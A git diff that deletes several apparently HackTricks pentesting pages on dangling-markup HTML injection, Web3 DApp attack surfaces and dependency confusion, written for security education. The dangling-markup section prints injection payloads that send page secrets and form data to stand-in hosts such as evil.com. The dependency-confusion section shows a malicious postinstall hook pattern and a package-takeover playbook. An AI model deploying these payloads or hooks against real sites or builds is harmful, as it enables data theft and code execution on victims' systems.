-- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
-- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
-- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
-- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
-- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
-- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
-- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
-- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
-- [Doyensec: Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
-- [Doyensec: Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
deleted file mode 100644
index 911bec500e3..00000000000
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ /dev/null
@@ -1,268 +0,0 @@
-# Dangling Markup - HTML scriptless injection
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Resume
-
-This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/index.html)but you can **inject some HTML tags**.\
-It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.
-
-Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
-
-## Main Applications
-
-### Stealing clear text secrets
-
-If you inject `<img src='http://evil.com/log.cgi?` when the page is loaded the victim will send you all the code between the injected `img` tag and the next quote inside the code. If a secret is somehow located in that chunk, you will steal i t(you can do the same thing using a double quote,take a look which could be more interesting to use).
-
-If the `img` tag is forbidden (due to CSP for example) you can also use `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
-
-```html
-<img src='http://attacker.com/log.php?HTML=
-<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
-<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
-```
-
-Note that **Chrome blocks HTTP URLs** with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
-
-You can also abuse CSS `@import` (will send all the code until it find a ";")
-
-```html
-<style>@import//hackvertor.co.uk?     <--- Injected
-<b>steal me!</b>;
-```
-
-You could also use **`<table`**:
-
-```html
-<table background='//your-collaborator-id.burpcollaborator.net?'
-```
-
-You could also insert a `<base` tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):
-
-```html
-<base target='        <--- Injected
-steal me'<b>test</b>
-```
-
-### Stealing forms
-
-```html
-<base href="http://evil.com/" />
-```
-
-Then, the forms that send data to path (like `<form action='update_profile.php'>`) will send the data to the malicious domain.
-
-### Stealing forms 2
-
-Set a form header: `<form action='http://evil.com/log_steal'>` this will overwrite the next form header and all the data from the form will be sent to the attacker.
-
-### Stealing forms 3
-
-The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
-
-```html
-<button name="xss" type="submit" formaction="https://google.com">
-  I get consumed!
-</button>
-```
-
-An attacker can use this to steal the information.
-
-Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
-
-### Stealing clear text secrets 2
-
-Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:
-
-```html
-<input type='hidden' name='review_body' value="
-```
-
-and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "_**Stealing clear text secrets**_" with "_**Stealing forms2**_".
-
-You can do the same thing injecting a form and an `<option>` tag. All the data until a closed `</option>` is found will be sent:
-
-```html
-<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
-```
-
-### Form parameter injection
-
-You can change the path of a form and insert new values so an unexpected action will be performed:
-
-```html
-<form action="/change_settings.php">
-  <input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
-
-  <form action="/change_settings.php">
-    ← Existing form (ignored by the parser) ...
-    <input type="text" name="invite_user" value="" /> ← Subverted field ...
-    <input type="hidden" name="xsrf_token" value="12345" />
-    ...
-  </form>
-</form>
-```
-
-### Stealing clear text secrets via noscript
-
-`<noscript></noscript>` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)).
-
-A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:
-
-```html
-<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
-```
-
-### Bypassing CSP with user interaction
-
-From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:
-
-```html
-<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
-<base target='
-```
-
-Note that you will ask the **victim** to **click on a link** that will **redirect** him to **payload** controlled by you. Also note that the **`target`** attribute inside the **`base`** tag will contain **HTML content** until the next single quote.\
-This will make that the **value** of **`window.name`** if the link is clicked is going to be all that **HTML content**. Therefore, as you **control the page** where the victim is accessing by clicking the link, you can access that **`window.name`** and **exfiltrate** that data:
-
-```html
-<script>
-  if(window.name) {
-      new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
-</script>
-```
-
-### Misleading script workflow 1 - HTML namespace attack
-
-Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
-
-```html
-<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
-Share this status update with: ← Legitimate optional element of a dialog
-<input id="share_with" value="" />
-
-... function submit_status_update() { ... request.share_with =
-document.getElementById('share_with').value; ... }
-```
-
-### Misleading script workflow 2 - Script namespace attack
-
-Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:
-
-```html
-<img id="is_public" /> ← Injected markup ... // Legitimate application code
-follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
-The subsequent assignment fails in IE is_public = true; else is_public = false;
-} function submit_new_acls() { ... if (is_public) request.access_mode =
-AM_PUBLIC; ← Condition always evaluates to true ... }
-```
-
-### Abuse of JSONP
-
-If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:
-
-```html
-<script src='/editor/sharing.js'>:              ← Legitimate script
-  function set_sharing(public) {
-    if (public) request.access_mode = AM_PUBLIC;
-      else request.access_mode = AM_PRIVATE;
-    ...
-  }
-
-<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
-  set_sharing({ ... })
-```
-
-Or you can even try to execute some javascript:
-
-```html
-<script src="/search?q=a&call=alert(1)"></script>
-```
-
-### Iframe abuse
-
-A child document possesses the capability to view and modify the `location` property of its parent, even in cross-origin situations. This allows the embedding of a script within an **iframe** that can redirect the client to an arbitrary page:
-
-```html
-<html>
-  <head></head>
-  <body>
-    <script>
-      top.window.location = "https://attacker.com/hacked.html"
-    </script>
-  </body>
-</html>
-```
-
-This can be mitigated with something like: `sandbox=' allow-scripts allow-top-navigation'`
-
-An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it.
-
-```html
-<script>
-  function cspBypass(win) {
-    win[0].location = "about:blank"
-    setTimeout(() => alert(win[0].name), 500)
-  }
-</script>
-
-<iframe
-  src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
-  onload="cspBypass(this.contentWindow)"></iframe>
-```
-
-For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
-
-### \<meta abuse
-
-You could use **`meta http-equiv`** to perform **several actions** like setting a Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` or performing a redirect (in 5s in this case): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
-
-This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Security-Policy: default-src 'self';`, or `Content-Security-Policy: http-equiv 'self';`)
-
-### New \<portal HTML tag
-
-You can find a very **interesting research** on exploitable vulnerabilities of the \<portal tag [here](https://research.securitum.com/security-analysis-of-portal-element/).\
-At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work.
-
-```html
-<portal src='https://attacker-server?
-```
-
-### HTML Leaks
-
-Not all the ways to leak connectivity in HTML will be useful for Dangling Markup, but sometimes it could help. Check them here: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
-
-## SS-Leaks
-
-This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.
-
-
-{{#ref}}
-ss-leaks.md
-{{#endref}}
-
-## XS-Search/XS-Leaks
-
-XS-Search are oriented to **exfiltrate cross-origin information** abusing **side channel attacks**.Therefore, it's a different technique than Dangling Markup, however, some of the techniques abuse the inclusion of HTML tags (with and without JS execution), like [**CSS Injection**](../xs-search/index.html#css-injection) or [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
-
-
-{{#ref}}
-../xs-search/
-{{#endref}}
-
-## Brute-Force Detection List
-
-
-{{#ref}}
-https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
-{{#endref}}
-
-## References
-
-- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
-- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
-- [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
-- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md
deleted file mode 100644
index 80ffd95be9e..00000000000
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# SS-Leaks
-
-{{#include ../../banners/hacktricks-training.md}}
-
-**Check the post [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/dapps-DecentralizedApplications.md b/src/pentesting-web/dapps-DecentralizedApplications.md
deleted file mode 100644
index 109c0d87903..00000000000
--- a/src/pentesting-web/dapps-DecentralizedApplications.md
+++ /dev/null
@@ -1,144 +0,0 @@
-# DApps - Decentralized Applications
-
-{{#include ../banners/hacktricks-training.md}}
-
-## What is a DApp?
-
-A DApp is a decentralized application that runs on a peer-to-peer network, rather than being hosted on a centralized server. DApps are typically built on **blockchain technology**, which should allow for transparency, security, and immutability of data.
-
-## Web3 DApp Architecture
-
-According to [**this post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) there are 3 different types of Web3 DApps architecture:
-
-### "API-less" DApps
-
-These DApps are built on top of a blockchain and do not rely on any centralized APIs or backend. You could think that the blockchain is the actual backend of the application. They are **fully decentralized** and can be accessed directly through the blockchain.
-
-In order to interact with the blockchain the client will usually use a **wallet**. The wallet will sign the transactions and send them to the blockchain. The client might also use a **node** to read data from the blockchain.
-
-### "API-Enabled" DApps
-
-These DApps are built on top of a blockchain but also rely on centralized APIs usually to gather information. They are **mostly decentralized** because even if they rely on a centralized API, the core functionality of the DApp is still on the blockchain. The communication of the client with the blockchain is usually done through a **wallet**.
-
-A good example of this type of DApp is a **NFT minting application**. The server allows images to be uploaded but the minting is done by the client through a wallet.
-
-### "Full-Scale" DApps
-
-These DApps are built on top of a blockchain but also rely on centralized APIs and backend servers. They **could be partially decentralized** as the client might be able to perform operations on the blockchain using a wallet. However, usually the **backend will also be able to perform operations on the blockchain**.
-
-A good example for this type of DApp is a cross-chain bridge where an offchain component is needed to **communicate with both smart contracts in different blockchains** to perform the transfer of assets.
-
-## Web2 vulnerabilities
-
-Web2 vulnerabilities still affect these kinds of applications although their impact might vary:
-
-- **Client side vulnerabilities** have an increased impact as in the Web3 DApps the client is usually the one **performing the operations on the blockchain** through a wallet. This means that attacks like XSS that manage to execute JS code on the client side or that tampers with the content of the page can have a bigger impact as they can **interact with the wallet** and convince the user to perform undesired operations on the blockchain.
-   - Note that usually even in these kinds of applications the client can still review the operations before signing them with the wallet. However, if the attacker is able to tamper with the content of the page, it can convince the user to sign a transaction that will perform an undesired operation on the blockchain.
-- **Server side vulnerabilities** are still present in the DApps that rely on a backend server. The impact of these vulnerabilities will depend on the architecture of the DApp. However, they could still be very problematic as an attacker might find in the backend **keys of the company** to access the funds of smart contracts, or could perform account takeover that might allow them to steal funds or NFTs from the users.
-- **Supply chain compromises** in frontend dependencies, wallet SDKs, analytics snippets, or CDN-hosted assets can be catastrophic in Web3. Tampering with a signing modal, a wallet connector, or transaction-building helper can silently replace calldata, destination addresses, spender addresses, or the `operation` type right before the wallet prompt appears.
-
-Of course, if the DApp is not using a backend or the backend used only offers public chain data or static pages, the attack surface of the DApp is reduced.
-
-## Web3 attack surface
-
-Even if in general a DApp has a reduced attack surface as several security checks are always done on the blockchain, there are still some attack vectors that can be exploited by an attacker.
-
-It might be possible to group web3 DApps vulnerabilities in the following categories:
-
-- **Mishandled On-Chain Transactions**: incorrectly formatted or unrestricted transaction APIs, lack of response-waiting and block-confirmation logic, exposure of sensitive data, and improper handling of failed, reverted, or internally-typed transactions that allow malicious calldata injections.
-
-- **Smart-Contract-Driven Backend Attacks**: storing or syncing sensitive data between contracts and databases without validation, unchecked event emissions or contract addresses, and exploitable contract vulnerabilities that can poison backend logic.
-
-- **Flawed Crypto-Asset Operations**: misprocessing different token types (native vs. ERC-20), ignoring decimal precision, failed transfers or internal transactions, and accepting fake, deflationary, rebase, or slippage-prone tokens without validation, enabling payload injections via token metadata.
-
-- **Wallet / Provider Trust Boundary Failures**: trusting `window.ethereum`, WalletConnect session metadata, chain-switch prompts, or injected provider discovery without validation. A malicious extension, a spoofed wallet object, or a compromised dependency can alter provider methods, transaction parameters, icons, or wallet identity and route the user through an attacker-controlled signing flow.
-
-- **Signature-Based Authorization Abuse**: treating `eth_sign`, `personal_sign`, `eth_signTypedData_v4`, `permit`, or similar off-chain authorizations as "harmless". In practice, these signatures can grant allowances, approve relayers, authorize gasless actions, or satisfy backend workflows without the user ever seeing an on-chain approval transaction.
-
-- **RPC / Indexer / Finality Assumptions**: assuming that the latest log, receipt, or backend index is final. DApps that credit balances, mint rewards, unlock bridge assets, or update off-chain state from unconfirmed events can be abused during reorgs, inconsistent RPC views, or by poisoning custom indexer pipelines.
-
-- **Bundler / Relayer / Paymaster Abuse**: sponsored transactions and account abstraction move part of the trust boundary off-chain. Any API that accepts arbitrary `UserOperation`, pays gas on behalf of users, or relays signatures for execution becomes a target for gas-drain, policy-bypass, and replay-style abuse.
-
-### Frontend, provider and wallet discovery abuse
-
-Modern DApps often assume that the wallet/provider layer is just plumbing, but this is an attack surface by itself:
-
-- **Injected provider confusion**: historically many DApps trusted whatever appeared in `window.ethereum`. With multiple extensions installed, the "last injector wins" problem and wallet impersonation become realistic attack paths.
-- **EIP-6963 abuse cases**: EIP-6963 improves multi-wallet discovery, but the spec explicitly calls out **provider-object tampering**, **wallet imitation/manipulation**, and even **malicious SVG icons** as security concerns. During pentests, check whether the DApp pins a provider by stable wallet metadata and whether two announced providers can reuse or tamper with the same identifiers.
-- **WalletConnect / session phishing**: if the application or wallet does not validate the real origin against the claimed metadata, a phishing domain can still present a believable session request. This is especially relevant when the workflow is "connect wallet first, inspect later".
-- **Blind chain switching**: some flows request `wallet_switchEthereumChain` and immediately build a transaction assuming the switch succeeded. If the application keeps stale provider state or mixes RPCs from different chains, users can sign transactions against the wrong network context.
-
-When reviewing a DApp, treat the wallet connection layer exactly like an authentication boundary: inspect provider discovery, event handling (`accountsChanged`, `chainChanged`), transaction building after chain switches, and whether external wallet metadata is reflected in the DOM without sanitization.
-
-{{#ref}}
-../blockchain/blockchain-and-crypto-currencies/web3-signing-workflow-compromise-safe-delegatecall-proxy-takeover.md
-{{#endref}}
-
-### Signature-based approvals and gasless abuse
-
-In many DApps, the most dangerous action is no longer an on-chain `approve`, but an off-chain signature that a relayer or router later cashes in.
-
-- **`permit` / signature approvals**: ERC-2612 allows changing `allowance` with a signed message. That means a phishing page or a compromised frontend can ask the victim to sign an approval that is later submitted by any relayer.
-- **Relayer optionality**: the ERC-2612 spec explicitly notes that a relayer gets a free option to submit or withhold a signed permit until `deadline`, so backend workflows that assume "signature received == action already happened" are wrong.
-- **Typed-data UX gaps**: wallets may render the domain and field names but still fail to explain the actual effect of the signature, especially when nested calldata, routers, or multicalls are involved.
-- **Permit-drainer pattern**: instead of asking for a visible `approve`, drainers increasingly prefer typed-data signatures that authorize a spender or relay path, because they are faster, cheaper, and less suspicious to the victim.
-
-From a tester perspective, search the frontend and backend for `permit`, `permit2`, `eth_signTypedData`, `personal_sign`, `isValidSignature`, and any API that stores signatures for later broadcast. Confirm that nonces, deadlines, chain/domain separation, spender binding, and intended execution path are actually validated server-side or on-chain.
-
-### Off-chain state, finality and indexer desynchronization
-
-DApps usually do not read raw chain state directly for every action. They rely on RPC providers, webhooks, indexers, caches, and message queues. This introduces new exploitation opportunities:
-
-- **Reorg-sensitive accounting**: if the backend credits a deposit, bridge transfer, or in-game balance on the first seen event instead of after enough confirmations/finality, the user may get spendable off-chain credit from a transaction that disappears after a reorg.
-- **RPC split-brain**: one component may simulate a call with one RPC endpoint while another component watches logs or broadcasts through a different provider. Inconsistent mempool visibility, lagging nodes, or chain-specific quirks can create race conditions or logic bypasses.
-- **Indexer poisoning**: custom indexers that trust every emitted event or decode logs without validating the emitting contract/address can import attacker-controlled data into databases, leaderboards, bridge pipelines, or reward systems.
-- **Unsafe replay of backend actions**: webhook-driven bots, settlement workers, or queue consumers often assume event processing is idempotent. If the same event can be replayed after retries or reorg rewinds, value-moving actions may execute more than once.
-
-When attacking this layer, review how the DApp handles confirmations, reorg rollbacks, duplicate deliveries, and contract-address allowlists in event consumers. Recent production guidance for blockchain indexers stresses that forward-filling indexers must be reorg-aware and able to rewind to the common ancestor instead of treating the current tip as immutable.
-
-Some examples from [**this post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications):
-
-### Wasting Funds: Forcing backend to perform transactions
-
-In the scenario **`Wasted Crypto in Gas via Unrestricted API`**, the attacker can force the backend to call functions of a smart contract that will consume gas. The attacker, just sending an ETH account number and with no limits, will force backend to call the smart contract to register it, which will consume gas.
-
-### DoS: Poor transaction handling time
-
-In the scenario **`Poor Transaction Time Handling Leads to DoS`**, it is explained that because the backend will keep the HTTP request open until a transaction is performed, a user can easily send several HTTP requests to the backend, which will consume all the resources of the backend and will lead to a DoS.
-
-### Backend<-->Blockchain desync - Race condition
-
-In the scenario **`Poor Transaction Time Handling Leads to Race Condition`**, it is explained that in a game it was possible for the user to send a withdrawal request to the backend which would send the user coins, but while the transaction was still being processed, the user was able to use those coins to purchase items in the game, getting them for free.
-
-Another example could be to use the same coins to purchase different items as the backend is immediately giving the item to the user without waiting for the transaction to be confirmed and therefore waiting for the user balance in the blockchain to be reduced.
-
-### Smart contract address validation
-
-In the scenario **`Bridge Backend Lacks Smart Contract Address Validation`** it is explained how the backend was not properly checking the address of the smart contract, so it was possible for an attacker to deploy a fake smart contract, put funds on it, send the transaction to the backend and the backend would think that the user sent funds to the real smart contract and would give the user the tokens.
-
-### Mishandling of Asset Classes
-
-In the scenario **`Mishandling of Asset Classes`**, it is explained that the backend confused a scam NFT in an address with 1 MATIC, therefore allowing an attacker to send hundreds of scam NFTs to the address and get 1 MATIC from the platform for each of them.
-
-### Sponsored transaction / AA backend abuse
-
-More recent DApps may expose relayer, bundler, or paymaster APIs to sponsor user actions. These systems introduce a classic Web2 abuse surface around a Web3 execution engine:
-
-- If the backend signs or sponsors **arbitrary calldata** or **arbitrary `UserOperation` objects**, an attacker may convert the API into a gas-burning primitive or a privileged execution oracle.
-- If validation only checks "this looks like our frontend submitted it", XSS or a compromised dependency can turn the victim browser into a signer for attacker-chosen sponsored actions.
-- If the system trusts that a later execution revert will undo the economic impact, it may still be exploitable because gas is already spent or the sponsor balance was already charged.
-
-Keep this page generic, but note that account-abstraction-specific bugs are covered in more detail here:
-
-{{#ref}}
-../blockchain/blockchain-and-crypto-currencies/erc-4337-smart-account-security-pitfalls.md
-{{#endref}}
-
-
-## References
-- [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)
-- [https://eips.ethereum.org/EIPS/eip-6963](https://eips.ethereum.org/EIPS/eip-6963)
-- [https://walletconnect.com/blog/protect-users-from-phishing-with-walletconnect-verify-api-for-web3-apps-and-wallets](https://walletconnect.com/blog/protect-users-from-phishing-with-walletconnect-verify-api-for-web3-apps-and-wallets)
-
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/dependency-confusion.md b/src/pentesting-web/dependency-confusion.md
deleted file mode 100644
index 5f939b01d6d..00000000000
--- a/src/pentesting-web/dependency-confusion.md
+++ /dev/null
@@ -1,423 +0,0 @@
-# Dependency Confusion
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-## Basic Information
-
-Dependency Confusion (a.k.a. substitution attacks) happens when a package manager resolves a dependency name from an unintended, less-trusted registry/source (usually a public registry) instead of the intended private/internal one. This typically leads to the installation of an attacker-controlled package.
-
-Common root causes:
-- Typosquatting/misspelling: Importing `reqests` instead of `requests` (resolves from public registry).
-- Non-existent/abandoned internal package: Importing `company-logging` that no longer exists internally, so the resolver looks in public registries and finds an attacker’s package.
-- Version preference across multiple registries: Importing an internal `company-requests` while the resolver is allowed to also query public registries and prefers the “best”/newer version published publicly by an attacker.
-
-Key idea: If the resolver can see multiple registries for the same package name and is allowed to pick the “best” candidate globally, you’re vulnerable unless you constrain resolution.
-
-
-## Exploitation
-
-> [!WARNING]
-> In all cases, the attacker only needs to publish a malicious package with the same name as the dependency your build resolves from a public registry. Installation-time hooks (e.g., npm scripts) or import-time code paths often give code execution.
-
-### Misspelled & Inexistent
-
-If your project references a library that isn’t available in the private registry, and your tooling falls back to a public registry, an attacker can seed a malicious package with that name in the public registry. Your runners/CI/dev machines will fetch and execute it.
-
-### Unspecified Version / “Best-version” selection across indexes
-
-Developers frequently leave versions unpinned or allow wide ranges. When a resolver is configured with both internal and public indexes, it may select the newest version regardless of source. For internal names like `requests-company`, if the internal index has `1.0.1` but an attacker publishes `1.0.2` to the public registry and your resolver considers both, the public package may win.
-
-### Related pattern: compromise of a legitimate package release
-
-Dependency confusion is not the only way to get install-time execution. If an attacker compromises the maintainer account or publishing token of a legitimate package, they can publish a malicious version of the real package and obtain code execution on every machine that installs it.
-
-Common pattern in the npm ecosystem:
-- The attacker modifies only `package.json` and adds a new dependency.
-- The new dependency is **never imported** by the main library, so source review of the application code may look clean.
-- The dependency contains a `preinstall`/`install`/`postinstall` hook that runs automatically during `npm install`, `npm ci`, Yarn, pnpm, or CI builds.
-- The hook fetches or drops the real payload, often choosing per-OS implants for macOS, Windows, and Linux.
-
-This is a useful red-team and incident-response mental model because **importing the victim library is not required**. The execution path is installation-time, not runtime.
-
-Minimal malicious pattern:
-
-`package.json` of the compromised package:
-```json
-{
-  "name": "popular-lib",
-  "version": "1.2.4",
-  "dependencies": {
-    "helper-lib": "^4.2.1"
-  }
-}
-```
-
-`package.json` of the injected dependency:
-```json
-{
-  "name": "helper-lib",
-  "version": "4.2.1",
-  "scripts": {
-    "postinstall": "node setup.js"
-  }
-}
-```
-
-Practical notes:
-- CI/CD runners are especially valuable targets because the hook runs before tests and often has access to cloud credentials, package tokens, signing keys, and deployment secrets.
-- If you are trying to prove impact in an authorized exercise, `postinstall` is usually enough to demonstrate install-time code execution without modifying application logic.
-- Defenders should remember that `npm ci` still runs lifecycle scripts unless `--ignore-scripts` is set.
-
-### Obfuscated Node.js droppers and manifest laundering
-
-Malicious install hooks often try to survive quick review by:
-- Hiding C2 strings or commands behind layered transforms such as reversed Base64, XOR, or split strings.
-- Dynamically loading Node modules (`fs`, `os`, `child_process`, `execSync`) only at runtime to reduce obvious static indicators.
-- Deleting the dropper after execution and restoring a benign-looking manifest.
-
-One anti-forensic trick is **manifest laundering**:
-1. Run the malicious hook.
-2. Delete the malicious `setup.js` or equivalent.
-3. Delete the malicious `package.json`.
-4. Rename a benign stub such as `package.md` back to `package.json`.
-
-After infection, the installed dependency directory may look clean unless investigators review install logs, lockfile changes, registry metadata, package tarballs, file timelines, or known-good hashes.
-
-### `npx` binary-to-package confusion
-
-`npx <name>` is a **different supply-chain primitive** from classic dependency confusion. If no explicit `--package` is given, npm first tries to resolve `<name>` as an executable from the local `node_modules/.bin`, global bins, installed package trees, and the `npx` cache. If none of those checks succeed, npm treats the same string as a **package name**, installs it into `~/.npm/_npx/<hash>/`, prepends `node_modules/.bin` from that cache entry to `PATH`, and executes it.
-
-That means an attacker can win with **binary-name takeover** even when there is no public/private registry precedence issue:
-
-1. Discover scripts, READMEs, CI jobs, bundles, or leaked `package.json` files containing `npx <binary_name>`.
-2. Confirm the real package exposing that binary has a different package name (very common with scoped packages such as `@company/tool`).
-3. Check whether the public package `<binary_name>` is unclaimed.
-4. Publish `<binary_name>` with a matching `bin` entry.
-5. Wait for a developer, CI runner, automation job, or agent to execute `npx <binary_name>` **outside the correct dependency context** (wrong cwd, fresh workspace, dependencies not installed, minimal container, etc.).
-
-Why scoped packages are dangerous here:
-- The real package can be `@company/tool`, but its executable is usually unscoped (`tool`, `build`, `sync-assets`, etc.).
-- If `npx tool` cannot find the local binary, npm may fetch the public package `tool` instead of the intended private/scoped package.
-- In non-interactive contexts, npm assumes `--yes`, so CI/automation often auto-installs the missing package with only a warning in logs.
-
-Practical red-team checks:
-- Grep for `npx ` in repositories, CI definitions, docs, shell history, bundled `package.json`, and transpiled JavaScript.
-- Enumerate `bin` entries from internal packages and compare the executable names against the actual package names.
-- Inspect `~/.npm/_npx/` on build agents or developer workstations for unexpected cached packages and `_npx` metadata.
-- Review CI logs for messages like `The following package was not found and will be installed`.
-
-Practical hardening:
-- Prefer `npx --package <expected-package> <binary>` (or `npm exec --package=<expected-package> -- <binary>`) so the binary is bound to the intended package.
-- Reserve public names matching internal binaries, especially names exported by scoped/private packages.
-- In sensitive runners, use `--no`, `offline`, or preinstall the expected package instead of allowing implicit remote fetches.
-- Run automation from the intended project root and fail closed when `node_modules/.bin/<binary>` is absent.
-
-
-## AWS Fix
-
-This vulnerability was found in AWS CodeArtifact (read the details in this blog post). AWS added controls to mark dependencies/feeds as internal vs external so the client won’t fetch “internal” names from upstream public registries.
-
-
-## Finding Vulnerable Libraries
-
-In the original post about dependency confusion the author looked for thousands of exposed manifests (e.g., `package.json`, `requirements.txt`, lockfiles) to infer internal package names and then published higher-versioned packages to public registries.
-
-
-## Practical Attacker Playbook (for red teams in authorized tests)
-
-- Enumerate names:
-  - Grep repos and CI configs for manifest/lock files and internal namespaces.
-  - Look for organization-specific prefixes (e.g., `@company/*`, `company-*`, internal groupIds, NuGet ID patterns, private module paths for Go, etc.).
-- Check public registries for availability:
-  - If the name is unregistered publicly, register it; if it exists, attempt subdependency hijacking by targeting internal transitive names.
-- Publish with precedence:
-  - Choose a semver that “wins” (e.g., a very high version) or matches resolver rules.
-  - Include minimal install-time execution where applicable (e.g., npm `preinstall`/`install`/`postinstall` scripts). For Python, prefer import-time execution paths, as wheels typically don’t execute arbitrary code on install.
-- Exfil control:
-  - Ensure outbound is allowed from CI to your controlled endpoint; otherwise use DNS queries or error messages as a side-channel to prove code execution.
-
-> [!CAUTION]
-> Always get written authorization, use unique package names/versions for the engagement, and immediately unpublish or coordinate cleanup when testing concludes.
-
-
-## Defender Playbook (what actually prevents confusion)
-
-High-level strategies that work across ecosystems:
-- Use unique internal namespaces and bind them to a single registry.
-- Avoid mixing trust levels at resolution time. Prefer a single internal registry that proxies approved public packages instead of giving package managers both internal and public endpoints.
-- For managers that support it, map packages to specific sources (no global “best-version” across registries).
-- Pin and lock:
-  - Use lockfiles that record the resolved registry URLs (npm/yarn/pnpm) or use hash/attestation pinning (pip `--require-hashes`, Gradle dependency verification).
-- Block public fallback for internal names at the registry/network layer.
-- Reserve your internal names in public registries when feasible to prevent future squat.
-
-
-## Ecosystem Notes and Secure Config Snippets
-
-Below are pragmatic, minimal configs to reduce or eliminate dependency confusion. Prefer enforcing these in CI and developer environments.
-
